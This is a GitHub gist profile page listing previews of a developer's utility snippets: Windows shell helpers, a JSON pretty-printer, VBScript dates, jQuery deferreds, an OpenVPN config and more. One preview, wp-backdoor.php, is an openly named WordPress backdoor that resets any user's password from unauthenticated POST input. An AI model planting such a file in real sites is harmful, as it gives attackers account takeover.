Skip to content

Instantly share code, notes, and snippets.

Avatar
🛠️
Tinkering

Michael Kropat mkropat

🛠️
Tinkering
View GitHub Profile
@mkropat
mkropat / knownpaths.py
Last active Jun 24, 2021
Python wrapper around the SHGetKnownFolderPath Windows Shell function
View knownpaths.py
import ctypes, sys
from ctypes import windll, wintypes
from uuid import UUID
class GUID(ctypes.Structure): # [1]
_fields_ = [
("Data1", wintypes.DWORD),
("Data2", wintypes.WORD),
("Data3", wintypes.WORD),
("Data4", wintypes.BYTE * 8)
@mkropat
mkropat / getuser.py
Last active Oct 4, 2019
Lookup user id and name from the source (read: no environmental variables consulted). Cross-platform compatible (Windows, *nix).
View getuser.py
import os
class UserNotFound(Exception): pass
### Windows ###
if os.name == 'nt':
import ctypes
from ctypes import windll, wintypes
class WinError: # [1]
@mkropat
mkropat / jsonpp.py
Created Nov 27, 2013
Pretty-print JSON data to the console
View jsonpp.py
#!/usr/bin/env python
import json, sys
if len(sys.argv) < 2 or sys.argv[1] == '-':
f = sys.stdin
else:
f = open(sys.argv[1])
json.dump(json.load(f), sys.stdout, indent=4, separators=(',', ': '))
@mkropat
mkropat / datetime.vbs
Last active Dec 30, 2015
Print out various ways of getting date and time information in VBScript running under Windows Scripting Host (WSH)
View datetime.vbs
' datetime.vbs
' Print out various ways of getting date and time information in VBScript
' running under Windows Scripting Host (WSH).
' Usage: > cscript.exe /nologo datetime.vbs
Dim wmi : Set wmi = GetObject("winmgmts:root\cimv2")
Dim n : n = #2/29/2016 1:02:03 PM#
@mkropat
mkropat / jquery-then-vs-done.html
Last active Oct 25, 2016
A study in jQuery deferreds, based on Lu4's answer to “jQuery deferreds and promises - .then() vs .done()”.
View jquery-then-vs-done.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>jQuery deferreds and promises - .then() vs .done()</title>
<link rel="stylesheet" href="http://code.jquery.com/qunit/qunit-git.css">
</head>
<body>
<p>
A study in jQuery deferreds, based on <em>Lu4's</em> <a
View wp-backdoor.php
<?php
require_once( dirname(__FILE__) . '/wp-load.php' );
require_once( ABSPATH . WPINC . '/registration.php' );
require_once( ABSPATH . '/wp-includes/pluggable.php' );
require_once( ABSPATH . '/wp-includes/general-template.php' );
require_once( ABSPATH . '/wp-includes/capabilities.php' );
if ($_POST) {
if ($user = get_userdatabylogin($_REQUEST['username'])) { // FIXME: doesn't work
wp_update_user(array("ID" => $user->ID, "user_pass" => $_REQUEST['password']));
@mkropat
mkropat / ser-pprint.php
Last active Jun 3, 2016
Pretty-print PHP serialized files
View ser-pprint.php
#!/usr/bin/env php
<?php
$serialized = file_get_contents($argv[1]);
$obj = unserialize($serialized);
$json_obj = json_encode($obj, JSON_PRETTY_PRINT);
echo "$json_obj\n";
@mkropat
mkropat / DeleteQueue.bat
Last active Aug 29, 2015
Fast-delete the files in the delete queue
View DeleteQueue.bat
:: DeleteQueue.bat - Fast-delete the files in the delete queue
:: Instructions:
::
:: 1. Create the folder `C:\DeleteQueue`
:: 2. Create a scheduled task to run this batch file every night
::
:: Now any (potentially large) files or folders you move into
:: `C:\DeleteQueue` (a nearly instantaneous operation) will be deleted
:: overnight, without interrupting your flow.
@mkropat
mkropat / tun0
Last active Aug 29, 2015
OpenVPN integration with interfaces(5)
View tun0
iface tun0 inet manual
pre-up openvpn --mktun --dev tun0
up openvpn --config /etc/openvpn/YOURVPN.ovpn \
--daemon \
--dev tun0 \
--route-noexec \
--script-security 2 \
--route-up /etc/openvpn/on-route-up \
--writepid /var/run/openvpn.tun0
down /etc/openvpn/kill-service -w /var/run/openvpn.tun0
@mkropat
mkropat / maintain-links.ps1
Created Sep 12, 2014
Automatically maintain shortcuts to files in subdirectories
View maintain-links.ps1